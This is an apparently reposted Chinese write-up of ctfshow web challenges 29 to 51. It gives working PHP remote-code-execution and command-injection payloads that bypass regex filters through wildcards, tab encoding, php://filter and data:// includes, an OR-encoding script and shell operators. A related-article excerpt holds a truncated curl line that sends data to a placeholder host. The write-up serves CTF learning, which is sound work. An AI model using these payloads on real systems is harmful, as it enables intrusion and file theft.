ctfshow之web29~web51

2024-08-21 09:44
文章标签 ctfshow web29 web51

本文主要是介绍ctfshow之web29~web51,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

web29

前瞻知识: 

isset() #函数用于检测变量是否已设置并且非 NULL。
highlight_file(_FILE_) #它的作用是将当前文件的代码以语法高亮的形式输出到浏览器.
#该函数接受一个参数,"_FILE_",是一个特殊的变量,表示当前文件的路径。因此,这行代码的作用是将当前文件的代码以语法高亮的形式输出到浏览器。
preg_match("/flag/i",$c) #preg_match 函数用于执行一个正则表达式匹配。
#这次的判断是不能出现 flag 字样,后面 i 意思是不分辨大小写。
#匹配字符串 flag,那么使用通配符、单引号(成对)等方式简单绕过。
eval() #作用是将字符串当作有效的表达式来求值并返回计算结果。
#这个函数可以计算任何有效的表达式,包括数学运算、逻辑运算、变量赋值等等

 通配符也叫文件名替换,它主要是作用于匹配文件名,常用命令是cat、tac、ls、find、cp、mv;

 题解:

ls:查看当前目录下的文件及目录

ls /:参数/是根目录的意思,这表示显示根目录下的文件

 方法一:cat命令+通配符

?c=system('cat fl*');
?c=system('cat fla?.php');

cat主要有三大功能:

1.一次显示整个文件:cat filename

2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.

3.将几个文件合并为一个文件:cat file1 file2 > file

方法二: tac命令

tac 命令本质上是 cat 命令,但其目的是反向连接文件。
tac 命令用于按相反顺序逐行连接和打印文件内容。和 cat 命令一样,将每个文件连接到标准输出,但顺序相反,逐行打印,首先打印最后一行。 

 方法三:cp命令

?c=system('cp fl* 1.txt');

方法四:嵌套 eval 逃逸参数

?c=eval($_GET[a]);&a=system('cat flag.php');

cat需要在源码中查看,tac会输出

web30

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

题目过滤掉了flag,system,php;

除了system()函数外,还有其他函数可以使用,其他师傅的总结如下:

system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub)  #第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();  #详细用法百度吧
pcntl_exec();  #如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号  #(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)

可以使用shell_exec,passthru

payload:

?c=passthru("ls");//找到flag.php
?c=passthru("cat fl*"); #或者?c=passthru("cat fl*")?>  php最后一条语句可以不加";"

cat/tac/cp/eval逃逸都可以使用 

web31 

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

这里对"."和" ' "进行了转义,还限制了空格

能用嵌套eval逃逸参数

?c=eval($_GET[a]);&a=passthru("tac flag.php");

或者

?c=passthru("tac%09fl*");

%09(Tab)绕过空格

常见绕过替代:

%20 --代表url编码的空格,在空格过滤时可以代替。

%09--用于在输出或显示文本时在该位置产生一个固定的水平间距,类似于tab键。

%0a--代表换行符

%0b--用于在输出或显示文本时在该位置产生一个固定的垂直间距,类似于tab键。

%0c--

%0d--回车换行

%a0--代表的是非断行空格

%00--%00代表的是ASCII码中的空字符

 web32(32~36)

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

又增加了过滤括号

可以使用文件包含include,逃逸参数a,再使用伪协议filter

php://filter是php中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。

php://filter伪协议可以用于如下函数:

include()

file()

file_get_contents()

readfile()

file_put_contents()

可以用于读取、写入文件等函数,

使用方法: 

php://filter/过滤器|过滤器/resource=要过滤的数据流

题解: 

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

 payload:

?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

这里的%09是水平制表符tab,目的是为了绕过空格 

web34

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

比web33多过滤一个冒号:

同样的payload

?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web35

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

多过滤的内容不影响,payload一样

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

 虽然这里过滤了[0~9]这些数字,但%09会被urldecoded解码成制表符,属于不可见字符

可以绕过,同样的

payload:?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web36 

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

 payload:?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web37

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

 这里有个include文件包含函数;要用到伪协议data

payload:?c=data://text/plain,<?php system("tac fla*");?> 

用php:filter不行,因为resource=flag.php,我们不能使用通配符,所以也没法绕过 

web38 

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

本来以为不影响,直接上?c=data://text/plain,<?php system("tac fla*");?> ,结果不对,

发现把php也过滤了,这里写php文件的时候,php可以用“=”代替

payload:?c=data://text/plain,<?= system("tac fla*");?> 

 web39

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}

payload:?c=data://text/plain,<?= system("tac fla*");?>

web40

可以看这个师傅的blog:http://t.csdnimg.cn/lcSb2

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

没有过滤英文(,采用套娃形式

payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

 首先通过 pos(localeconv())得到点号(.)

该方法还有如下函数可以进行替换

dirname(_FILE_)
current(localeconv()
reset(localeconv()
pos(localeconv()
getcwd()

scandir(’.’)表示得到当前目录下的文件

?c=print_r(scandir(pos(localeconv()))); 

 array_reverse()将数组倒过来

默认指向数组下标起始位置0;

web41 

if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
} 

 这里过滤很严格,将0~9和a~z的数字,字符都过滤了

因此我们想要的字符只能用不可见字符或特殊字符的16进制进行与/或运算得到

这里建议参考这位师傅的脚本blog:http://t.csdnimg.cn/ozGf2 

我这里直接把用或运算生成字符的脚本拿来了;

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}//新增过滤\和@符号,因为如果用到这两个字符,那么它是不会被urldecodeed,//因为它不属于url中的特殊字符或不可见字符,比如\,经过urldecoded后,还是以%5c的形式存在,//此时会被直接过滤掉$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\_|\\\\|\@/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

生成一个rce_or.txt文件

system('ls'),('system')('ls'),("system")("ls")(system)('ls'),('system')(ls) 等效都是可以执行的。

payload:c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60") 

这里用hackbar提交有问题,用bp提交是可以的,

用hackbar提交,bp抓一下包,发现那个左括号和双引号也会被编码,可能问题出现在这里

 抓取的数据包时这样的

但我们应该传这种参数的post

web42 (42~51)

if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

黑洞绕过:建议参考这位师傅的blog,讲得很详细:http://t.csdnimg.cn/DVPoX

分号绕过 

payload:?c=tac flag.php;//

web43 

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

||绕过 

payload:?c=tac flag.php||//

web44 

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

占位符?或者*绕过

payload:?c=tac fla?.php||//

web45 

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

这里多过滤了一个空格

空格可以用%09绕过

 payload:?c=tac%09fla?.php||//

web46~web49一样

 payload:?c=tac%09fla?.php||//

web50

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

<>绕过空格

?c=tac<>fla''g.php||//

web51

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

 这里将tac给过滤了,tac命令用不了,只能用其他命令

尝试?c=nl<fla?.php||//,没有输出,原来nl命令里面用不了占位符

只能双写单引号绕过flag过滤;

payload:?c=nl<fla''.php||//          #<是输入命令

或者

payload:?c=nl<>fla''g.php||//     #<>是为了绕过空格

 这里的flag需要到源码中查看

关于文件包含漏洞,这里推荐一位师傅写的blog:http://t.csdnimg.cn/CsWOr

这篇关于ctfshow之web29~web51的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1092802

相关文章

ctfshow-爆破(web21-web28)

web21 提交用户和密码后发现没有用户以及密码的值呢  常见的是在post数据中 或者url后传值 但这里都没有 发现http头有一个Authorization字段 值是base64编码后的 解码 原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了 设置变量 增加前缀 增加编码方式 取消选项 记住 只要payload存在一下

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示:域名其实也可以隐藏信息,比如ctfshow.com 就

CtfShow中的misc17解法

第一步: 首先拿随波逐流打开看看,没发现啥突破点,很正常 第二步:使用kali中的binwalk命令,解析出一个文件夹,打开压缩包后发现没什么东西     第三步:结合题目给的提示,使用tweakpng打开图片进行IDAT合并,combine all iDAt 第四步:继续用binwalk命令来解析,得到一个新的文件夹 ,里面有一个D6E文件,可以直接查看也可以放到Window

ctfshow(web入门-命令执行)-1

1.web29 只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码 $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);} 只要payload中没有flag即可 先尝试cat (右键源代码)  tail,tac皆可 system("tail fla*"); tac 逆序读  tail 默认读后1

ctfshow之web58~web71

目录 web58 思路一: 思路二:  思路三:    web59~web65 web66~web67  web68~web70 web71 web58 if(isset($_POST['c'])){$c= $_POST['c'];eval($c);}else{highlight_file(__FILE__);} PHP eval() 函数介绍 定义和用法 e

【CTF Web】CTFShow 协议头信息泄露 Writeup(HTTP协议+信息收集)

协议头信息泄露 10 没思路的时候抓个包看看,可能会有意外收获 解法 按 F12 打开开发者工具,点开网络,刷新网页。 flag 在响应标头。 Flag ctfshow{7fa61c00-ff46-4b3e-8d08-1eaafae521cc} 声明 本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶

CTFSHOW misc入门中misc8解法

第一步:下载misc8压缩包后解压缩,发现是一张misc8.png图片 第二步:老规矩,还是在kali里用binwalk命令查看文件是否包含隐藏文件,发现有两个png文件 第三步:使用binwalk -e 命令看是否能进行解析文件,结果不能。继续使用foremost来进行解析  第四步:使用foremost -T命令来解析,生成两个文件夹,在第二个文件夹中发现一个png文件夹

ctfshow web其他 web450--web460

web450 <?phphighlight_file(__FILE__);$ctfshow=$_GET['ctfshow'];if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){ //小写字母^小写字母^小写字母eval("($ctfshow)();");} ?ctfshow=phpinfo^phpinfo^phpinf

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?code=str(''.__class__.__bases__[0].__subclasses__[185].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=

ctfshow web 单身杯

web签到 <?phperror_reporting(0);highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){ //翻转函数include $file;}} 要进行反转并且包含文件用data协议 自己写不好写可以用函数帮你翻转 <?php $a='data